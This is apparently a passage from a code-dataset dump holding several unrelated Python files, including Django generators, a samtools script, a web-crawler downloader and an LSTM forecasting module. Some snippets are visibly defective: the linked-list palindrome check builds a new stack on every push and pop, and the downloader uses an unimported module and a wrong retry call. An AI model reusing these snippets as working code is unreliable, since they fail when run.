\nprint(\"{}\\n\".format(m))\n","sub_path":"060.py","file_name":"060.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"324360432","text":"\"\"\"General python utilities.\"\"\"\nimport sys\nimport traceback\n\n\ndef flatten(list_of_lists):\n \"\"\"Flattens a list of lists into a single flat list.\n\n Args:\n list_of_lists: List of lists.\n\n Returns:\n List.\n \"\"\"\n return [item for sub_list in list_of_lists for item in sub_list]\n\n\ndef chunk(_list, chunk_size):\n \"\"\"Yield successive n-sized chunks from a list.\n\n Args:\n _list: List.\n chunk_size: Integer.\n\n Returns:\n Iterator.\n \"\"\"\n for i in range(0, len(_list), chunk_size):\n yield _list[i:i + chunk_size]\n\n\ndef print_exception_info():\n \"\"\"Grabs traceback and prints exception info.\"\"\"\n print('Collate encountered an exception:')\n type_, value_, traceback_ = sys.exc_info()\n print('Type: %s' % type_)\n print('Value: %s' % value_)\n print('Traceback:')\n for line in traceback.format_tb(traceback_):\n print(line)\n","sub_path":"ext/py_util.py","file_name":"py_util.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"175845091","text":"import os\n\nfrom jinja2 import StrictUndefined, Template\n\n\nclass ProjectGenerator():\n def __init__(self, settings, models):\n self.settings = settings\n self.models = models\n\n def generate(self):\n \"\"\"Generate whole Django project.\"\"\"\n dirs = self._create_project_dirs(self.settings['output_directory'])\n\n self._generate_root_directory(dirs)\n self._generate_main_directory(dirs)\n self._generate_app_directories(dirs)\n\n def _create_project_dirs(self, output_directory):\n project_name = self.settings['project_name']\n\n if output_directory.endswith('/'):\n output_directory = output_directory[:-1]\n\n directory = r'{}/{}/'.format(output_directory, project_name)\n package_directory = r'{}/{}/'.format(directory, project_name)\n\n return {\n 'root_directory': self._make_dir(directory),\n 'package_directory': self._make_dir(package_directory),\n 'app_directories': self._create_app_subdirs(directory)\n }\n\n def _create_app_subdirs(self, directory):\n for app in self.settings['apps']:\n app_directory = r'{}/{}/'.format(directory, app)\n self._make_dir(app_directory)\n self._make_dir(r'{}/migrations/'.format(app_directory))\n yield app, app_directory\n\n def _generate_root_directory(self, dirs):\n directory = dirs['root_directory']\n self._render_simple_file('resources/manage.jinja2',\n directory + 'manage.py',\n settings=self.settings)\n\n self._copy_file('resources/init', directory + 'init.sh')\n self._copy_file('resources/requirements',\n directory + 'requirements.txt')\n self._copy_file('resources/dockerfile', directory + 'Dockerfile')\n\n def _generate_main_directory(self, dirs): # TODO better name?\n directory = dirs['package_directory']\n\n files_to_be_rendered = (\n ('settings.jinja2', 'settings.py', {'settings': self.settings}),\n ('wsgi.jinja2', 'wsgi.py', {'settings': self.settings}),\n ('urls.jinja2', 'urls.py', {'models': self.models,\n 'apps': self.settings['apps']}),\n )\n\n for (template, output_name, kwargs) in files_to_be_rendered:\n self._render_simple_file('resources/' + template,\n directory + output_name, **kwargs)\n\n self._create___init__(directory)\n\n def _generate_app_directories(self, dirs):\n for (app_name, directory) in dirs['app_directories']:\n self._generate_app_directory(\n directory,\n [model for model in self.models if model.app_name == app_name],\n app_name,\n )\n\n def _generate_app_directory(self, directory, models, app_name):\n needs_user = self._check_if_needs_user(models),\n needs_group = self._check_if_needs_group(models)\n\n # prepare import lists\n model_imports = ', '.join([model.name for model in models])\n serializer_imports = ', '.join(\n ['{}Serializer'.format(model.name) for model in models])\n\n kwargs = {\n 'models': models,\n 'settings': self.settings,\n 'needs_user': needs_user,\n 'needs_group': needs_group,\n 'model_imports': model_imports,\n 'serializer_imports': serializer_imports\n }\n\n self._render_complex_file('resources/models.jinja2',\n 'resources/model.jinja2',\n directory + 'models.py',\n **kwargs)\n self._render_complex_file('resources/views.jinja2',\n 'resources/modelviewset.jinja2',\n directory + 'views.py',\n **kwargs)\n self._render_complex_file('resources/serializers.jinja2',\n 'resources/modelserializer.jinja2',\n directory + 'serializers.py',\n **kwargs)\n\n self._copy_file('resources/admin.jinja2', directory + 'admin.py')\n self._copy_file('resources/tests.jinja2', directory + 'tests.py')\n\n self._render_simple_file('resources/apps.jinja2',\n directory + 'apps.py',\n app_name=app_name)\n\n self._create___init__(directory)\n self._create___init__(directory + 'migrations/')\n\n def _check_if_needs_user(self, models):\n for model in models:\n for field in model.fields:\n if self._check_if_field_needs_user(field):\n return True\n return False\n\n def _check_if_field_needs_user(self, field):\n return any((key, field.options[key]) == ('othermodel', 'User')\n for key in field.options)\n\n def _check_if_needs_group(self, models):\n for model in models:\n for field in model.fields:\n if self._check_if_field_needs_group(field):\n return True\n return False\n\n def _check_if_field_needs_group(self, field):\n return any((key, field.options[key]) == ('othermodel', 'Group')\n for key in field.options)\n\n def _create___init__(self, directory): # TODO better name?\n with open(directory + '__init__.py', 'w+') as output_file:\n output_file.write('')\n\n def _copy_file(self, input_file, output_file):\n with open(output_file, 'w+') as output_file:\n with open(input_file, 'r') as input_file:\n output_file.write(input_file.read())\n\n def _make_dir(self, directory):\n os.makedirs(directory, exist_ok=True)\n return directory\n\n def _render_simple_file(self, template_filepath, output_filepath,\n **kwargs):\n template = self._get_template(template_filepath)\n rendered_content = template.render(**kwargs)\n with open(output_filepath, 'w+') as output_file:\n output_file.write(rendered_content)\n\n def _render_complex_file(self, template_filepath, subtemplate_filepath,\n output_filepath, models, **kwargs):\n template = self._get_template(subtemplate_filepath)\n rendered_items = [template.render(model=model) for model in models]\n template = self._get_template(template_filepath)\n rendered_content = template.render(rendered_items=rendered_items,\n **kwargs)\n with open(output_filepath, 'w+') as output_file:\n output_file.write(rendered_content)\n\n def _get_template(self, template_filepath):\n with open(template_filepath, 'r') as input_file:\n return Template(input_file.read(), undefined=StrictUndefined)\n","sub_path":"api_sketch/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":6948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"583579886","text":"\nfrom filecabinet.blankentry import BlankEntry\nfrom filecabinet.otlfile import OtlFile\nfrom filecabinet.agenda import Agenda\nfrom filecabinet.project import Project\n\nclass ProjectFile(object):\n\n SPECIAL_SECTIONS = [\n 'AGENDAS', 'PROJECTS', 'WAITING',\n 'SOMEDAY', 'RESEARCH', 'OTHER']\n\n def __init__(self, filename=None, config=None):\n self._headings = {}\n self._unrecognized = []\n for heading in self.SPECIAL_SECTIONS:\n self._headings[heading] = []\n if not filename and not config:\n # If neither is provided, just use an empty project file\n return\n if config:\n filename = config.projectfilepath\n infile = OtlFile(filename)\n sectionkey = 'OTHER'\n for entry in infile.entries:\n if not isinstance(entry, BlankEntry) and \\\n entry.indent == 0 and entry.checkable == False:\n key = str(entry).upper()\n if key in self.SPECIAL_SECTIONS:\n sectionkey = key\n else:\n sectionkey = 'OTHER'\n else:\n self._headings[sectionkey].append(entry)\n # Process any agendas or projects\n if self.agendas:\n self._headings['AGENDAS'] = \\\n self._digestnestedlist(self.agendas, Agenda)\n if self.projects:\n self._headings['PROJECTS'] = \\\n self._digestnestedlist(self.projects,\n lambda x: Project(x, config))\n\n def _digestnestedlist(self, entrylist, grouptype):\n grouplist = []\n group = None\n for entry in entrylist:\n if entry.indent == 1 and not isinstance(entry, BlankEntry):\n if group:\n grouplist.append(group)\n group = grouptype(entry)\n elif group:\n group.additem(entry)\n else:\n self._unrecognized.append(entry)\n if group:\n grouplist.append(group)\n return grouplist\n\n @property\n def alldata(self):\n return self._headings\n\n @property\n def isempty(self):\n for val in self._headings.values():\n if len(val) > 0:\n return False\n return True\n\n @property\n def unrecognized(self):\n return self._unrecognized\n\n def __getattr__(self, attrname):\n testname = attrname.upper()\n if testname in self._headings.keys():\n return self._headings[testname]\n elif testname in self.SPECIAL_SECTIONS:\n return []\n raise AttributeError('ProjectFile object has no attribute \"' +\n attrname + '\"')\n\n def _stringifysection(self, name):\n result = ''\n if name in self._headings.keys():\n result += name + '\\n'\n result += '\\n'.join([str(i) for i in self._headings[name]]) + '\\n'\n return result\n\n def __str__(self):\n result = ''\n result += ''.join(\n [self._stringifysection(n) for n in self.SPECIAL_SECTIONS[0:5]])\n if len(self._headings['OTHER']) > 0:\n result += '\\n'.join([str(i) for i in\n self._headings['OTHER']]) + '\\n'\n return result\n","sub_path":"filecabinet/projectfile.py","file_name":"projectfile.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"649705181","text":"from os import listdir, makedirs, system\nfrom os.path import exists\nfrom subprocess import check_call\n\nfrom core.constants import data_path\n\npath_to_bam_files = '/export/data/kchukreev/data/bam_files/gatk/realigned_bams_with_known/' # prepared_bams\n# path_to_bam_files = data_path + 'filtered_bams/'\n# out_path = data_path + 'realigned_all_ppe_pgrs/'\nout_path = data_path + 'realigned_8141_8167/'\n# path_to_intervals = data_path + 'ppe_pgrs.bed'\npath_to_intervals = data_path + 'Spurious.bed'\npath_to_list = data_path + 'list0.txt'\n\n\nif __name__ == '__main__':\n if not exists(out_path):\n makedirs(out_path)\n # sample_ids = [l.strip() for l in open(path_to_list).readlines()]\n sample_ids = ['SAMN03648890', 'SAMN03648892', 'SAMN03648885']\n for sample_id in sample_ids:\n if not exists(out_path + sample_id + '.bam'):\n # print('samtools view --threads 32 -b -L ' + path_to_intervals + ' ' + path_to_bam_files + sample_id +\n # '_h37rv.bam > ' + out_path + sample_id + '.bam')\n system('samtools view --threads 32 -b -L ' + path_to_intervals + ' ' + path_to_bam_files + sample_id +\n '_h37rv.bam > ' + out_path + sample_id + '.bam')\n system('samtools index ' + out_path + sample_id + '.bam')\n","sub_path":"testing/cut_regions_from_bam_files.py","file_name":"cut_regions_from_bam_files.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"602586359","text":"# LinkedList Palindrome \n\n# Implement function is_palindrome() to check if a linked list is a palindrome\n# Return true if palindrome… false if not\n\n# Example:\n# 1 -> 2 -> 3 -> 2 -> 1 is a palindrome\n# 1 -> 2 -> 4 -> 3 -> 1 is not\n\n# Input: head of linked list\n# Output: true/false\n\ndef is_pali(head):\n x_p = head\n y_p = head\n temp = head\n\n mid_node = None\n\n if (head.next != None):\n while (x_p.next != None):\n push(Stack(), x_p.next)\n x_p = x_p.next.next\n y_p = y_p.next\n\n if (x_p != None):\n mid_node = y_p\n y_p = y_p.next\n\n second_half = y_p\n\n while (second_half.next != None):\n if (second_half.next != pop(Stack())):\n return False\n\n return True\n\n\n\n\n","sub_path":"Nvidia/IsLinkedListPalindrome.py","file_name":"IsLinkedListPalindrome.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"219112113","text":"# !/usr/bin/env python\n# -*- coding:utf-8 -*-\n# author : zerodel\n# Readme:\n#\n\nimport os\n\nimport pysrc.body\nimport pysrc.body.logger\nimport pysrc.body.worker\n\n__doc__ = ''' wrapper of gffread from cufflinks\n'''\n__author__ = 'zerodel'\n\n_logger = pysrc.body.logger.default_logger(\"gffread_process\")\n\n\ndef build_cmd_gffread(annotation_files, genomic_seqs, output_fasta, transcript_filter=\"CME\", gffread_cmd=\"gffread\"):\n annotation_files = os.path.abspath(annotation_files)\n genomic_seqs = os.path.abspath(genomic_seqs)\n output_fasta = os.path.abspath(output_fasta)\n\n cmd_parts = [gffread_cmd, annotation_files, \"-g\", genomic_seqs]\n\n if transcript_filter:\n cmd_parts.append(\"-{}\".format(transcript_filter))\n else:\n pass\n\n cmd_parts.append(\"-w\")\n cmd_parts.append(output_fasta)\n\n return cmd_parts\n\n\ndef do_extract_classic_message_transcript(gff, path_ref_sequence_file, output):\n cmd_parts = build_cmd_gffread(annotation_files=gff, genomic_seqs=path_ref_sequence_file, output_fasta=output)\n\n _logger.debug(\"raw cmd for extracting linear transcript is : %s\" % str(cmd_parts))\n\n pysrc.body.worker.run(cmd_parts)\n\n\ndef do_extract_non_coding_transcript(gff, path_ref_sequence_file, output):\n cmd_parts = build_cmd_gffread(annotation_files=gff, genomic_seqs=path_ref_sequence_file, output_fasta=output,\n transcript_filter=\"\")\n\n _logger.debug(\"raw cmd for extracting circular RNA transcripts : %s\" % str(cmd_parts))\n\n pysrc.body.worker.run(cmd_parts)\n","sub_path":"pysrc/wrapper/gffread.py","file_name":"gffread.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"390394945","text":"# -*- encoding: utf-8 -*-\nfrom observatorio.apps.proyecto.models import Proyecto\nfrom django import template\nimport datetime\n\nregister = template.Library()\n\n@register.simple_tag()\ndef date_now():\n\treturn datetime.datetime.now().date().strftime(\"%A, %d de %B del %Y\")\n\n@register.assignment_tag\ndef relation_project(pk):\n\tproyecto = Proyecto.objects.get(pk = pk)\n\tarea_tematica = proyecto.area_tematica.proyecto_set.exclude(pk = proyecto.pk)\n\ttipo_solucion = proyecto.tipo_solucion.proyecto_set.exclude(pk = proyecto.pk)\n\tusuario = proyecto.usuario.proyecto_set.exclude(pk = proyecto.pk)\n\tasesor = proyecto.asesor.proyecto_set.exclude(pk = proyecto.pk)\n\treturn area_tematica[:3] if area_tematica.count() > 0 else tipo_solucion[:3] if tipo_solucion.count() > 0 else asesor[:3] if asesor.count() > 0 else usuario[:3]","sub_path":"observatorio/apps/proyecto/templatetags/custom_filters.py","file_name":"custom_filters.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"259267866","text":"import urllib.request as urlreq\nimport urllib.error as urlerr\nimport urllib.parse as urlparse\nimport urllib.robotparser as urlrp\nimport datetime\nimport time\nimport re\nimport socket\nimport http.client\n\nclass Downloader(object):\n def __init__(self, delay=5,\n user_agent='wswp', proxies=None,\n num_retries=1, cache=None, timeout=60):\n socket.setdefaulttimeout(timeout)\n self.throttle = Throttle(delay)\n self.user_agent = user_agent\n self.proxies = proxies\n self.num_retries = num_retries\n self.cache = cache\n\n def __call__(self, url):\n result = None\n if self.cache:\n try:\n result = self.cache[url]\n except KeyError:\n pass\n else:\n if self.num_retries > 0 and result['code'] != None and \\\n 500 <= result['code'] < 600:\n # server error so ignore result from cache \n # and re-downlad\n result = None\n if result is None:\n # result was not downloaded from cache so still\n # need to download\n self.throttle.wait(url)\n proxy = random.choice(self.proxies) if self.proxies else None\n headers = {'User-agent': self.user_agent}\n result = self.download(url, headers, proxy, self.num_retries)\n if self.cache:\n self.cache[url] = result\n\n return result['html']\n\n def download(self, url, headers, proxy, num_retries, data = None):\n print('Downloading: ', url)\n request = urlreq.Request(url, headers=headers)\n opener = urlreq.build_opener()\n \n if proxy:\n proxy_params = {urlparse.urlparse(url).scheme: proxy}\n opener.add_handler(urlreq.ProxyHandler(proxy_params))\n try:\n #html = urlreq.urlopen(request).read()\n response = opener.open(request)\n try:\n html = response.read()\n except http.client.IncompleteRead as e:\n html = e.partial\n code = response.code\n except urlerr.URLError as e:\n print('Download error: ', e.reason)\n html = None\n code = None\n if hasattr(e, 'code'):\n code = e.code\n if num_retries > 0 and 500 <= e.code < 600:\n return download(url, headers, proxy, self.num_retries-1)\n else:\n pass\n\n return {'html': html, 'code': code}\n\nclass Throttle:\n \"\"\"add delay between downloads to the same domain\"\"\"\n def __init__(self, delay):\n self.delay = delay\n self.domains = {}\n \n def wait(self, url):\n domain = urlparse.urlparse(url).netloc\n last_accessed = self.domains.get(domain)\n \n if self.delay > 0 and last_accessed is not None:\n sleep_secs = self.delay - (datetime.datetime.now() - \n last_accessed).seconds\n if sleep_secs > 0:\n time.sleep(sleep_secs)\n self.domains[domain] = datetime.datetime.now()\n\ndef download(url, user_agent='wswp', proxy=None, num_retries=2):\n print('Downloading: ', url)\n headers = {'User-agent': user_agent}\n request = urlreq.Request(url, headers=headers)\n opener = urlreq.build_opener()\n \n if proxy:\n proxy_params = {urlparse.urlparse(url).scheme: proxy}\n opener.add_handler(urlreq.ProxyHandler(proxy_params))\n try:\n #html = urlreq.urlopen(request).read()\n html = opener.open(request).read()\n except urlerr.URLError as e:\n print('Download error: ', e.reason)\n html = None\n if num_retries > 0:\n if hasattr(e, 'code') and 500 <= e.code < 600:\n return download(url, user_agent, proxy, num_retries-1)\n return html\n\ndef get_links(html):\n # a regular expression to extract all links from the webpage\n webpage_regex = re.compile(']+href=[\"\\'](.*?)[\"\\']', re.IGNORECASE)\n # list of all links from the webpage\n return webpage_regex.findall(html)\n\ndef normalize(seed_url, link):\n \"\"\"Normalize this URL by removing hash and adding domain\n \"\"\"\n link, _ = urlparse.urldefrag(link) # remove hash to avoid duplicates\n return urlparse.urljoin(seed_url, link)","sub_path":"common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"130409866","text":"from keras.models import Sequential\nfrom keras.layers import *\nfrom keras.callbacks import EarlyStopping\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error, median_absolute_error\nfrom math import sqrt\nfrom datetime import timedelta\nimport os\nfrom collections import OrderedDict\n\nfrom github_trends.services.database_service import DatabaseService\n\noutput_dir = os.path.join(os.path.dirname(__file__), \"output\")\n\n\nclass Forecasting:\n def __init__(self):\n self.db_service = DatabaseService()\n self.scaled_errors = []\n self.errors = []\n self.test_errors_by_day = []\n self.train_errors_by_day = []\n self.aggregated_relative_errors = []\n self.aggregated_absolute_errors = []\n self.aggregated_percentage_errors = []\n self.epochs = 500\n self.units = 500\n\n def populate_non_existing_dates(self, df, columns):\n date_index = df.index\n dates = pd.date_range(date_index.min(), date_index.max())\n dates_df = pd.DataFrame({'drop_' + column: 0 for column in columns}, index=dates)\n merged_df = pd.merge(df, dates_df, left_index=True, right_index=True, how='outer')\n\n for (ix, row) in merged_df.iterrows():\n if ix not in df.index:\n for col in df.columns:\n merged_df.at[ix, col] = 0\n\n merged_df.drop(dates_df.columns, axis=1, inplace=True)\n return merged_df\n\n def arrange_input_sequence(self, data, n_in, n_out, input_columns, output_columns):\n if input_columns is None:\n input_columns = list(data.columns.values) # All columns are input by default\n if output_columns is None:\n output_columns = [data.columns[-1]] # Last column is output by default\n\n input_data = data[input_columns]\n output_data = data[output_columns]\n cols, names = list(), list()\n # input sequence (t-n, ... t-1)\n for i in range(n_in, 0, -1):\n cols.append(input_data.shift(i))\n names += [(str(column_name) + '(t-%d)' % i) for column_name in input_columns]\n # forecast sequence (t, t+1, ... t+n)\n for i in range(0, n_out):\n cols.append(output_data.shift(-i))\n if i == 0:\n names += [(str(column_name) + '(t)') for column_name in output_columns]\n else:\n names += [(str(column_name) + '(t+%d)' % i) for column_name in output_columns]\n\n # put it all together\n agg = pd.concat(cols, axis=1)\n agg.columns = names\n agg.dropna(inplace=True)\n\n return agg\n\n def __plot_boxplot_with_mean_labels(self, df, file_name):\n df.boxplot(grid=False, fontsize=8, return_type='axes', figsize=(13, 10))\n locs, labels = pyplot.xticks()\n days = [1, 7, 14, 30]\n labels = [\"Day {}\\n(mean: {})\".format(x[0], np.round(x[1], 2)) for x in zip(days, df.mean())]\n pyplot.xticks(locs, labels)\n pyplot.savefig(file_name + '.png', format='png')\n\n pyplot.clf()\n\n def __plot_and_add_boundaries(self, df, lower_bound, upper_bound, file_name):\n axes = df.plot(style=['-', '-'], figsize=(13, 10))\n X_points = axes.lines[0]._x\n pyplot.setp(axes.lines, lw=1.3)\n # pyplot.fill_between(X_points, lower_bound, upper_bound, color='m', alpha=0.2)\n pyplot.savefig(file_name + '.png', format='png')\n\n pyplot.clf()\n\n def calculate_and_plot_relative_errors(self, pred, actual, test_dates, output_days, repo_name, suffix=\"\"):\n filename = \"{}{}\".format(repo_name, \"_\" + suffix)\n relative_errors = np.round(np.abs(pred - actual) / (actual + 1), 3)\n\n relative_errors_df = pd.DataFrame(relative_errors,\n columns=['Day {}'.format(x + 1) for x in range(output_days)],\n index=test_dates)\n\n aggregated_relative_error = OrderedDict({\"repo\": repo_name})\n for day in relative_errors_df:\n aggregated_relative_error[\"{} Mean\".format(day)] = relative_errors_df[day].mean()\n aggregated_relative_error[\"{} Min\".format(day)] = relative_errors_df[day].min()\n aggregated_relative_error[\"{} Max\".format(day)] = relative_errors_df[day].max()\n aggregated_relative_error[\"{} Median\".format(day)] = relative_errors_df[day].median()\n aggregated_relative_error[\"{} SD\".format(day)] = relative_errors_df[day].std()\n\n self.aggregated_relative_errors.append(aggregated_relative_error)\n\n relative_errors_df.to_csv('output/Boxplots/relative_error_' + filename + '.csv')\n self.__plot_boxplot_with_mean_labels(relative_errors_df[['Day 1', 'Day 7', 'Day 14', 'Day 30']],\n 'output/Boxplots/relative_error_{}'.format(filename))\n\n absolute_errors = np.round(np.abs(pred - actual), 3)\n\n absolute_errors_df = pd.DataFrame(absolute_errors,\n columns=['Day {}'.format(x + 1) for x in range(output_days)],\n index=test_dates)\n\n aggregated_absolute_error = OrderedDict({\"repo\": repo_name})\n for day in absolute_errors_df:\n aggregated_absolute_error[\"{} Mean\".format(day)] = absolute_errors_df[day].mean()\n aggregated_absolute_error[\"{} Min\".format(day)] = absolute_errors_df[day].min()\n aggregated_absolute_error[\"{} Max\".format(day)] = absolute_errors_df[day].max()\n aggregated_absolute_error[\"{} Median\".format(day)] = absolute_errors_df[day].median()\n aggregated_absolute_error[\"{} SD\".format(day)] = absolute_errors_df[day].std()\n\n self.aggregated_absolute_errors.append(aggregated_absolute_error)\n\n absolute_errors_df.to_csv('output/Boxplots/absolute_error_' + filename + '.csv')\n self.__plot_boxplot_with_mean_labels(absolute_errors_df[['Day 1', 'Day 7', 'Day 14', 'Day 30']],\n 'output/Boxplots/absolute_error_{}'.format(filename))\n\n percentage_errors = np.round(100 * np.abs(pred - actual) / (actual + 1), 3)\n\n percentage_errors_df = pd.DataFrame(percentage_errors,\n columns=['Day {}'.format(x + 1) for x in range(output_days)],\n index=test_dates)\n\n aggregated_percentage_error = OrderedDict({\"repo\": repo_name})\n for day in percentage_errors_df:\n aggregated_percentage_error[\"{} Mean\".format(day)] = percentage_errors_df[day].mean()\n aggregated_percentage_error[\"{} Min\".format(day)] = percentage_errors_df[day].min()\n aggregated_percentage_error[\"{} Max\".format(day)] = percentage_errors_df[day].max()\n aggregated_percentage_error[\"{} Median\".format(day)] = percentage_errors_df[day].median()\n aggregated_percentage_error[\"{} SD\".format(day)] = percentage_errors_df[day].std()\n\n self.aggregated_percentage_errors.append(aggregated_percentage_error)\n\n percentage_errors_df.to_csv('output/Boxplots/percentage_error_' + filename + '.csv')\n self.__plot_boxplot_with_mean_labels(percentage_errors_df[['Day 1', 'Day 7', 'Day 14', 'Day 30']],\n 'output/Boxplots/percentage_error_{}'.format(filename))\n\n def evaluate_first_day_results(self, first_day_mae, pred, actual, test_dates, repo_name, suffix=\"\"):\n filename = \"{}{}\".format(repo_name, \"_\" + suffix)\n\n low_bound = np.array(list(map(lambda x: x - first_day_mae, pred)))\n up_bound = np.array(list(map(lambda x: x + first_day_mae, pred)))\n\n first_day_df = pd.DataFrame(np.stack((actual, pred), axis=1),\n columns=[\"Actual\", \"Pred\"], index=test_dates)\n first_day_df.to_csv('output/Daily_First_Day/mae_' + filename + '.csv', sep=\";\")\n\n self.__plot_and_add_boundaries(first_day_df, low_bound, up_bound,\n 'output/Daily_First_Day/mae_{}'.format(filename))\n\n first_days_cumulative_df = first_day_df.cumsum()\n\n first_days_cumulative_df.to_csv('output/First_Day_Cumulative/mae_' + filename + '.csv', sep=\";\")\n first_days_cumulative_df.plot()\n pyplot.savefig('output/First_Day_Cumulative/mae_' + filename + '.png')\n pyplot.clf()\n\n def evaluate_last_day_results(self, last_day_mae, pred, actual, test_dates, repo_name, suffix=\"\"):\n filename = \"{}{}\".format(repo_name, \"_\" + suffix)\n\n low_bound = np.array(list(map(lambda x: x - last_day_mae, pred)))\n up_bound = np.array(list(map(lambda x: x + last_day_mae, pred)))\n\n last_day_df = pd.DataFrame(np.stack((actual, pred), axis=1),\n columns=[\"Actual\", \"Pred\"], index=test_dates)\n last_day_df.to_csv('output/Daily_Last_Day/mae_' + filename + '.csv', sep=\";\")\n axes = last_day_df.plot(style=['-', '-'], figsize=(13, 10))\n # X_points = axes.lines[0]._x\n pyplot.setp(axes.lines, lw=1.3)\n # pyplot.fill_between(X_points, low_bound, up_bound, color='m', alpha=0.2)\n pyplot.savefig('output/Daily_Last_Day/mae_' + filename + '.png')\n\n last_days_cumulative_df = last_day_df.cumsum()\n last_days_cumulative_df.to_csv('output/Last_Day_Cumulative/mae_' + filename + '.csv', sep=\";\")\n last_days_cumulative_df.plot()\n pyplot.savefig('output/Last_Day_Cumulative/mae_' + filename + '.png')\n pyplot.clf()\n\n def evaluate_first_week_results(self, pred, actual, test_dates, repo_name, suffix=\"\"):\n filename = \"{}{}\".format(repo_name, \"_\" + suffix)\n\n first_week_df = pd.DataFrame(np.stack((actual, pred), axis=1),\n columns=[\"Actual\", \"Pred\"], index=test_dates)\n first_week_df.to_csv('output/Daily_First_Week/mae_' + filename + '.csv', sep=\";\")\n axes = first_week_df.plot(style=['-', '-'], figsize=(13, 10))\n # X_points = axes.lines[0]._x\n pyplot.setp(axes.lines, lw=1.3)\n # pyplot.fill_between(X_points, inv_predlast_low, inv_predlast_up, color='m', alpha=0.2)\n pyplot.savefig('output/Daily_First_Week/mae_' + filename + '.png')\n\n last_days_cumulative_df = first_week_df.cumsum()\n last_days_cumulative_df.to_csv('output/First_Week_Cumulative/mae_' + filename + '.csv', sep=\";\")\n last_days_cumulative_df.plot()\n pyplot.savefig('output/First_Week_Cumulative/mae_' + filename + '.png')\n pyplot.clf()\n\n def evaluate_second_week_results(self, pred, actual, test_dates, repo_name, suffix=\"\"):\n filename = \"{}{}\".format(repo_name, \"_\" + suffix)\n\n second_week_df = pd.DataFrame(np.stack((actual, pred), axis=1),\n columns=[\"Actual\", \"Pred\"], index=test_dates)\n second_week_df.to_csv('output/Daily_Second_Week/mae_' + filename + '.csv', sep=\";\")\n axes = second_week_df.plot(style=['-', '-'], figsize=(13, 10))\n # X_points = axes.lines[0]._x\n pyplot.setp(axes.lines, lw=1.3)\n # pyplot.fill_between(X_points, inv_predlast_low, inv_predlast_up, color='m', alpha=0.2)\n pyplot.savefig('output/Daily_Second_Week/mae_' + filename + '.png')\n\n last_days_cumulative_df = second_week_df.cumsum()\n last_days_cumulative_df.to_csv('output/Second_Week_Cumulative/mae_' + filename + '.csv', sep=\";\")\n last_days_cumulative_df.plot()\n pyplot.savefig('output/Second_Week_Cumulative/mae_' + filename + '.png')\n pyplot.clf()\n\n def evaluate_projection_sum_results(self, proj_sum_mae, pred, actual, test_dates, repo_name, suffix=\"\"):\n filename = \"{}{}\".format(repo_name, \"_\" + suffix)\n\n low_bound = np.array(list(map(lambda x: x - proj_sum_mae, pred)))\n up_bound = np.array(list(map(lambda x: x + proj_sum_mae, pred)))\n\n proj_sum_df = pd.DataFrame(np.stack((actual, pred), axis=1),\n columns=[\"Actual\", \"Pred\"], index=test_dates)\n\n proj_sum_df.to_csv('output/Weekly_Projection_Sum/mae_' + filename + '.csv', sep=\";\")\n axes = proj_sum_df.plot(style=['-', '-'], figsize=(13, 10))\n X_points = axes.lines[0]._x\n pyplot.setp(axes.lines, lw=1.3)\n # pyplot.fill_between(X_points, low_bound, up_bound, color='m', alpha=0.2)\n pyplot.savefig('output/Weekly_Projection_Sum/mae_' + filename + '.png')\n\n pyplot.clf()\n\n def __get_inverse_scaled(self, scaler, data, pred, n_out_variables):\n inv = np.concatenate((data, pred), axis=1)\n inv = scaler.inverse_transform(inv)\n return inv[:, -n_out_variables:]\n\n def __decompose_predictions_to_days(self, pred_matrix, columns):\n values_to_return = []\n for col in columns:\n values_to_return.append(pred_matrix[:, col])\n\n return tuple(values_to_return)\n\n def __calculate_daily_errors(self, repo_name, actual, pred):\n mae_by_day = OrderedDict({\"repo\": repo_name})\n for col in range(actual.shape[1]):\n test_mae = mean_absolute_error(pred[:, col], actual[:, col])\n mae_by_day['Day {}'.format(col + 1)] = np.round(test_mae, 3)\n\n return mae_by_day\n\n def __plot_complete_results(self, train_df, test_df, filename, indices_to_plot):\n full_actual_df = pd.concat([train_df.filter(like='actual_'),\n test_df.filter(like='actual_')], axis=0)\n pred_cols = train_df.filter(like='pred_').columns\n train_pred_df = train_df[pred_cols]\n test_pred_df = test_df[pred_cols]\n\n complete_pred_df = pd.concat([train_pred_df.add_prefix(\"train_\"), test_pred_df.add_prefix(\"test_\")], axis=0)\n\n full_df = pd.concat([full_actual_df, complete_pred_df], axis=1)\n full_df.to_csv(\"output/Predictions/{}.csv\".format(filename))\n\n for i in indices_to_plot:\n cols = ['actual_' + str(i),\n 'train_pred_' + str(i),\n 'test_pred_' + str(i)]\n\n full_df[cols].plot(figsize=(20, 16))\n pyplot.savefig(\"output/Predictions/{}_Day_{}.png\".format(filename, i))\n\n\n def forecast_stars_of_repo(self, repo_name, data_df, input_features, output_features, input_days=60, output_days=7,\n **kwargs):\n scaler = MinMaxScaler(feature_range=(0, 1))\n\n n_input_steps = input_days\n n_in_variables = len(input_features)\n n_out_variables = output_days * len(output_features)\n n_obs = n_input_steps * n_in_variables\n\n sequence_data = self.arrange_input_sequence(data_df, n_input_steps, n_out_variables,\n input_features, output_features)\n\n values = sequence_data.values\n values = scaler.fit_transform(values)\n\n train_test_ratio = 2 / 3\n if 'train_test_ratio' in kwargs:\n 